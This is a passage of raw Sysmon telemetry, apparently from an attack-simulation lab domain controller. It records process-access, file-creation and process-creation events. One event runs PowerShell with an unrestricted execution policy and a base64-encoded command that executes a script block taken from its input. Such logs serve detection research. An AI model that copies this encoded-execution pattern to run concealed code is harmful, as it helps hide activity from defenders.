hAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== 11241100x80000000000000003949Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.626{A5F018FF-291C-5F80-C600-000000007F01}4688C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\ple0aevr.cmdline2020-10-09 09:10:52.626 11241100x80000000000000003948Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:52.626{A5F018FF-291C-5F80-C600-000000007F01}4688C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\ple0aevr.dll2020-10-09 09:10:52.626 10341000x80000000000000003947Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.188{A5F018FF-291B-5F80-C300-000000007F01}8164756C:\Windows\system32\conhost.exe{A5F018FF-291C-5F80-C700-000000007F01}2360C:\Windows\system32\chcp.com0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003946Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.188{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003945Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.188{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003944Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.188{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003943Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.188{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003942Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.173{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003941Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.173{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003940Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.173{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003939Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.173{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003938Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.173{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-291C-5F80-C700-000000007F01}2360C:\Windows\system32\chcp.com0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000003937Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.173{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003936Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.173{A5F018FF-291C-5F80-C600-000000007F01}46884392C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-291C-5F80-C700-000000007F01}2360C:\Windows\system32\chcp.com0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3332f6|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b5560|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b4f07|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd5932a9(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fca34133(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fca33e04(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd4e5469(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9f499a(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fca52e69(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fca364ce(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fca364ce(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fca3635f(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fca282e4(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fca34817(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fca3440a(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fca34133(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fca33e04(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd4e5469(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fca1ac65(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fca1a235(wow64) 154100x80000000000000003935Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.187{A5F018FF-291C-5F80-C700-000000007F01}2360C:\Windows\System32\chcp.com10.0.14393.0 (rs1_release.160715-1616)Change CodePage UtilityMicrosoft® Windows® Operating SystemMicrosoft CorporationCHCP.COM"C:\Windows\system32\chcp.com" 65001C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-291B-5F80-CF54-070000000000}0x754cf0HighMD5=BA6FD5B883C0899785D17CEBE66A25F6,SHA256=9FDBDF88CF2BB2794C416E3083553F2898AC9DC92DFAC2478B4C1DF667DF7C74,IMPHASH=4FB30D6E330F3FB3DB61550BD7FA7CCD{A5F018FF-291C-5F80-C600-000000007F01}4688C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== 10341000x80000000000000003934Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.173{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003933Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.173{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003932Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.173{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003931Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.126{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-291C-5F80-C600-000000007F01}4688C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003930Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.126{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-291C-5F80-C600-000000007F01}4688C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x80000000000000003929Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.095{A5F018FF-291C-5F80-C600-000000007F01}4688C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\__PSScriptPolicyTest_qbszl5gz.tzi.ps12020-10-09 09:10:52.095 10341000x80000000000000003928Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.079{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-291C-5F80-C600-000000007F01}4688C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003927Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.048{A5F018FF-291B-5F80-C300-000000007F01}8164756C:\Windows\system32\conhost.exe{A5F018FF-291C-5F80-C600-000000007F01}4688C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003926Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.048{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\